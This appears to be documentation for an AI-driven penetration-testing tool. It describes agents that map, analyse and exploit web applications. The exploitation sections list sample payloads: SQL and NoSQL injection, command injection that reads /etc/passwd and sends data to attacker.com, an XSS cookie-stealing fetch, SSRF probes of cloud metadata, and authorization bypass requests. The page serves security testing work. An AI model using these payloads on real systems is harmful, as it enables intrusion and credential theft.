Agent Definitions

Shannon employs 13 specialized AI agents, each designed for a specific phase of penetration testing. This page documents each agent’s role, capabilities, and deliverables.

Agent Registry

All agents are defined in src/session-manager.ts:14 as the single source of truth:

const AGENTS: Record<AgentName, AgentDefinition> = {
  // 13 agent definitions
}

Each agent includes:

Name — Unique identifier (e.g., injection-vuln)
Display Name — Human-readable label
Prerequisites — Which agents must complete first
Prompt Template — Located in prompts/
Deliverable Filename — Output artifact for validation
Model Tier — Small/Medium/Large for cost optimization

Phase 1: Reconnaissance Agents

Pre-Recon Agent

name

string

default:"pre-recon"

Agent identifier

displayName

string

default:"Pre-recon agent"

Human-readable name

modelTier

string

default:"large"

Uses Claude Opus for deep reasoning

promptTemplate

string

default:"pre-recon-code"

Template: prompts/pre-recon-code.txt

Purpose: Initial attack surface mapping through external scans and source code analysis. Capabilities:

External Scanning

Nmap port scanning
Subfinder subdomain enumeration
WhatWeb technology fingerprinting
Schemathesis API schema analysis

Static Analysis

File structure analysis
Technology stack detection
Entry point discovery
Data flow identification

Deliverable: code_analysis_deliverable.md Validator: Checks for deliverable file existence at src/session-manager.ts:186 MCP Assignment: playwright-agent1 (minimal browser use)

Recon Agent

name

string

default:"recon"

Agent identifier

prerequisites

array

default:"['pre-recon']"

Requires pre-recon completion

modelTier

string

default:"medium"

Uses Claude Sonnet (default tier)

promptTemplate

string

default:"recon"

Template: prompts/recon.txt

Purpose: Live application exploration via browser automation to correlate code analysis with runtime behavior. Capabilities:

Authentication
Exploration
Correlation

Form-based login with TOTP support
SSO/OAuth flows (Google, GitHub, etc.)
API token authentication
HTTP Basic Authentication

Uses prompts/shared/login-instructions.txt template.

Deliverable: recon_deliverable.md Validator: src/session-manager.ts:192 MCP Assignment: playwright-agent2 (heavy browser automation)

Phase 2: Vulnerability Analysis Agents

All 5 vuln agents run in parallel with configurable concurrency.

Injection Vuln Agent

name

string

default:"injection-vuln"

Identifies SQL/NoSQL/Command injection vulnerabilities

prerequisites

array

default:"['recon']"

Requires reconnaissance data

promptTemplate

string

default:"vuln-injection"

Template: prompts/vuln-injection.txt

Target Vulnerabilities:

SQL Injection (SQLi)
NoSQL Injection
Command Injection (OS Command Injection)
LDAP Injection
XML Injection (XXE)
Template Injection (SSTI)

Analysis Approach:

Source Identification

Find user-controlled inputs: query params, POST bodies, headers, file uploads

Sink Detection

Locate dangerous operations:

db.query(), db.raw() (SQL)
exec(), spawn(), eval() (Command)
Template rendering functions

Data Flow Tracing

Track input through:

Variable assignments
Function parameters
Sanitization/validation functions

Hypothesis Generation

Create exploitation queue with:

Vulnerability description
Payload suggestions
Severity assessment
File/line references

Deliverables:

injection_analysis_deliverable.md — Analysis report
injection_queue.json — Exploitation queue for Phase 4

Validator: createVulnValidator('injection') at src/session-manager.ts:198 MCP Assignment: playwright-agent1

XSS Vuln Agent

name

string

default:"xss-vuln"

Identifies Cross-Site Scripting vulnerabilities

Target Vulnerabilities:

Reflected XSS
Stored XSS
DOM-based XSS
mXSS (Mutation XSS)

Analysis Focus:

User input rendered in HTML/JavaScript contexts
Insufficient output encoding/escaping
DOM manipulation with innerHTML, outerHTML
JavaScript template literals with user data
Content-Security-Policy bypasses

Deliverables:

xss_analysis_deliverable.md
xss_queue.json

Validator: createVulnValidator('xss') at src/session-manager.ts:199 MCP Assignment: playwright-agent2

Auth Vuln Agent

name

string

default:"auth-vuln"

Identifies Broken Authentication vulnerabilities

Target Vulnerabilities:

Authentication bypass
Weak password policies
JWT vulnerabilities (alg:none, weak keys, kid injection)
Session fixation
Credential stuffing vectors
MFA/2FA bypass
Password reset flaws

Analysis Focus:

Login endpoint logic
JWT generation and validation
Session token management
Password reset workflows
OAuth/SSO implementation flaws

Deliverables:

auth_analysis_deliverable.md
auth_queue.json

Validator: createVulnValidator('auth') at src/session-manager.ts:200 MCP Assignment: playwright-agent3

SSRF Vuln Agent

name

string

default:"ssrf-vuln"

Identifies Server-Side Request Forgery vulnerabilities

Target Vulnerabilities:

Full SSRF (HTTP/HTTPS)
Blind SSRF
DNS SSRF
File-based SSRF (file:// protocol)
Cloud metadata access (AWS, GCP, Azure)

Analysis Focus:

HTTP client usage (axios, fetch, request)
URL parameters passed to HTTP libraries
File read operations with user input
DNS resolution with user-controlled hostnames
Webhook/callback URL validation

Deliverables:

ssrf_analysis_deliverable.md
ssrf_queue.json

Validator: createVulnValidator('ssrf') at src/session-manager.ts:201 MCP Assignment: playwright-agent4

Authz Vuln Agent

name

string

default:"authz-vuln"

Identifies Broken Authorization vulnerabilities

Target Vulnerabilities:

IDOR (Insecure Direct Object Reference)
Privilege escalation (horizontal and vertical)
Missing function-level access control
Mass assignment vulnerabilities
Path traversal in authorization checks

Analysis Focus:

Resource access patterns (user ID in URL/body)
Role/permission checking logic
Admin vs. user endpoint separation
Object ownership validation
API endpoint authorization middleware

Deliverables:

authz_analysis_deliverable.md
authz_queue.json

Validator: createVulnValidator('authz') at src/session-manager.ts:202 MCP Assignment: playwright-agent5

Phase 3: Exploitation Agents

All 5 exploit agents run in parallel, pipelined with their corresponding vuln agents.

Injection Exploit Agent

name

string

default:"injection-exploit"

Exploits injection vulnerabilities from queue

prerequisites

array

default:"['injection-vuln']"

Requires injection analysis completion

promptTemplate

string

default:"exploit-injection"

Template: prompts/exploit-injection.txt

Exploitation Techniques:

SQL Injection

UNION-based extraction
Boolean-based blind SQLi
Time-based blind SQLi
Error-based SQLi
Stacked queries

Example Payloads:

' UNION SELECT username, password FROM users--
' AND (SELECT SLEEP(5))--
' OR '1'='1

Command Injection

Command chaining (;, &&, ||)
Pipe operators (|)
Backtick execution
Subshell execution ($())

Example Payloads:

127.0.0.1; cat /etc/passwd
127.0.0.1 && whoami
`curl attacker.com/exfil?data=$(cat /etc/passwd | base64)`

NoSQL Injection

MongoDB operator injection ($ne, $gt)
JavaScript injection in MongoDB
Blind NoSQL extraction

Example Payloads:

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$regex": ".*"}}

Deliverable: injection_exploitation_evidence.md Validator: createExploitValidator('injection') at src/session-manager.ts:205 MCP Assignment: playwright-agent1 (reuses vuln agent’s instance)

XSS Exploit Agent

name

string

default:"xss-exploit"

Exploits XSS vulnerabilities from queue

Exploitation Techniques:

Reflected XSS
Stored XSS
DOM XSS

Execute payloads via URL parameters or form inputs:

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Verify execution in browser DOM using Playwright.

Inject payloads via API endpoints or forms that persist:

// Via API
POST /api/comments
{"text": "<script>fetch('https://attacker.com?c='+document.cookie)</script>"}

// Verify by navigating to page and checking DOM

Exploit client-side JavaScript vulnerabilities:

// Target: element.innerHTML = location.hash
https://example.com#<img src=x onerror=alert(1)>

Deliverable: xss_exploitation_evidence.md Validator: createExploitValidator('xss') at src/session-manager.ts:206 MCP Assignment: playwright-agent2

Auth Exploit Agent

name

string

default:"auth-exploit"

Exploits authentication vulnerabilities from queue

Exploitation Techniques:

JWT Attacks

alg:none bypass: Remove signature validation
Algorithm confusion: Switch RS256 to HS256
Weak secret brute force: Dictionary attacks on HMAC keys
kid injection: Path traversal in key ID parameter

SQL Injection in Auth

Bypass login via injection:

username: admin'--
password: (anything)

Session Attacks

Session fixation
Cookie manipulation
Token prediction

Password Reset Bypass

Token leakage in referrer
Insufficient entropy in reset tokens
Email parameter manipulation

Deliverable: auth_exploitation_evidence.md Validator: createExploitValidator('auth') at src/session-manager.ts:207 MCP Assignment: playwright-agent3

SSRF Exploit Agent

name

string

default:"ssrf-exploit"

Exploits SSRF vulnerabilities from queue

Exploitation Techniques:

Cloud Metadata

Access cloud provider metadata services:

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/

# GCP
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Internal Network Scanning

Probe internal services:

# Port scanning
http://10.0.0.1:22
http://10.0.0.1:3306
http://10.0.0.1:6379

# Service discovery
http://localhost:8080/admin
http://internal-api.local/

File Protocol

Read local files:

file:///etc/passwd
file:///proc/self/environ
file:///var/www/html/config.php

Deliverable: ssrf_exploitation_evidence.md Validator: createExploitValidator('ssrf') at src/session-manager.ts:208 MCP Assignment: playwright-agent4

Authz Exploit Agent

name

string

default:"authz-exploit"

Exploits authorization vulnerabilities from queue

Exploitation Techniques:

IDOR
Privilege Escalation
Missing Access Control

Access other users’ resources:

# Original request
GET /api/users/123/profile

# IDOR attempt
GET /api/users/456/profile
GET /api/users/789/orders

# Parameter pollution
GET /api/users/123/profile?user_id=456

Vertical escalation:

# Mass assignment
PATCH /api/users/123
{"role": "admin", "is_admin": true}

# Role manipulation
POST /api/users/123/promote
{"new_role": "administrator"}

Horizontal escalation:

# Modify other user's data
PUT /api/users/456/email
{"email": "[email protected]"}

Access admin endpoints:

# Direct admin access
GET /admin/dashboard
GET /api/admin/users
DELETE /api/admin/users/456

# Hidden debug endpoints
GET /debug/config
GET /internal/metrics

Deliverable: authz_exploitation_evidence.md Validator: createExploitValidator('authz') at src/session-manager.ts:209 MCP Assignment: playwright-agent5

Phase 4: Reporting Agent

Report Agent

name

string

default:"report"

Generates executive security report

prerequisites

array

Requires all 5 exploit agents: ['injection-exploit', 'xss-exploit', 'auth-exploit', 'ssrf-exploit', 'authz-exploit']

modelTier

string

default:"small"

Uses Claude Haiku (cost-optimized for summarization)

promptTemplate

string

default:"report-executive"

Template: prompts/report-executive.txt

Purpose: Compile all exploitation evidence into a professional, actionable penetration test report. Process:

Artifact Collection

Function: assembleFinalReport() in src/services/reporting.tsGathers:

All 5 exploitation evidence files
Reconnaissance deliverable
Pre-recon code analysis

Concatenation

Merges all evidence into a single document with section headers

AI Refinement

The report agent adds:

Executive summary
Risk prioritization
Remediation roadmap
Removes hallucinated/false content
Formats for readability

Metadata Injection

Function: injectModelIntoReport() in src/services/reporting.tsAppends:

Model version (e.g., claude-sonnet-4-6)
Generation timestamp
Shannon version

Deliverable: comprehensive_security_assessment_report.md Validator: Checks for deliverable existence at src/session-manager.ts:212 MCP Assignment: playwright-agent3 (minimal browser use)

Agent Execution Lifecycle

Every agent follows the same lifecycle managed by AgentExecutionService (src/services/agent-execution.ts):

Initialization

Load agent definition from registry
Create audit session
Initialize git checkpoint

Prompt Loading

Read template from prompts/
Substitute variables (URL, config, login instructions)
Save snapshot to prompts/{agent}.txt for reproducibility

Execution

Start agent via claude-executor.ts
Heartbeat loop (2s intervals) to Temporal
Stream logs to agents/{agent}_{attempt}.json

Validation

Run agent validator from AGENT_VALIDATORS
Check deliverable existence and queue validation
Retry up to 3 times on validation failure

Checkpointing

Git commit deliverables
Update session.json with metrics
Mark agent as completed

Agent Dependencies (DAG)

Managed by: src/session-manager.ts:14 (prerequisites field)

Adding Custom Agents

To add a new vulnerability type:

Define Agent

Add to AGENTS registry in src/session-manager.ts:

'newtype-vuln': {
  name: 'newtype-vuln',
  displayName: 'New Vulnerability Type',
  prerequisites: ['recon'],
  promptTemplate: 'vuln-newtype',
  deliverableFilename: 'newtype_analysis_deliverable.md',
},

Create Prompt

Add template at prompts/vuln-newtype.txt

Add Activity Wrapper

In src/temporal/activities.ts:

export async function runNewtypeVulnAgent(
  input: ActivityInput
): Promise<AgentMetrics> {
  return runAgentActivity('newtype-vuln', input);
}

Add to parallel execution in src/temporal/workflows.ts:258

See the Custom Agents Guide for a complete walkthrough.

Next Steps

Pipeline Phases

Understand the 5-phase execution flow

Architecture

Explore the multi-agent system design

Workspaces

Learn about resume and git checkpointing

Prompts

Customize agent behavior via templates

Get Started

Core Concepts

Guides

CLI Reference

Agent Definitions

Agent Registry

Phase 1: Reconnaissance Agents

Pre-Recon Agent

External Scanning

Static Analysis

Recon Agent

Phase 2: Vulnerability Analysis Agents

Injection Vuln Agent

XSS Vuln Agent

Auth Vuln Agent

SSRF Vuln Agent

Authz Vuln Agent

Phase 3: Exploitation Agents

Injection Exploit Agent

XSS Exploit Agent

Auth Exploit Agent

SSRF Exploit Agent

Authz Exploit Agent

Phase 4: Reporting Agent

Report Agent

Agent Execution Lifecycle

Agent Dependencies (DAG)

Adding Custom Agents

Next Steps

Pipeline Phases

Architecture

Workspaces

Prompts

Build docs developers (and LLMs) love

Get Started

Core Concepts

Guides

CLI Reference

​Agent Registry

​Phase 1: Reconnaissance Agents

​Pre-Recon Agent

External Scanning

Static Analysis

​Recon Agent

​Phase 2: Vulnerability Analysis Agents

​Injection Vuln Agent

​XSS Vuln Agent

​Auth Vuln Agent

​SSRF Vuln Agent

​Authz Vuln Agent

​Phase 3: Exploitation Agents

​Injection Exploit Agent

​XSS Exploit Agent

​Auth Exploit Agent

​SSRF Exploit Agent

​Authz Exploit Agent

​Phase 4: Reporting Agent

​Report Agent

​Agent Execution Lifecycle

​Agent Dependencies (DAG)

​Adding Custom Agents

​Next Steps

Pipeline Phases

Architecture

Workspaces

Prompts

Build docs developers (and LLMs) love

Agent Registry

Phase 1: Reconnaissance Agents

Pre-Recon Agent

Recon Agent

Phase 2: Vulnerability Analysis Agents

Injection Vuln Agent

XSS Vuln Agent

Auth Vuln Agent

SSRF Vuln Agent

Authz Vuln Agent

Phase 3: Exploitation Agents

Injection Exploit Agent

XSS Exploit Agent

Auth Exploit Agent

SSRF Exploit Agent

Authz Exploit Agent

Phase 4: Reporting Agent

Report Agent

Agent Execution Lifecycle

Agent Dependencies (DAG)

Adding Custom Agents

Next Steps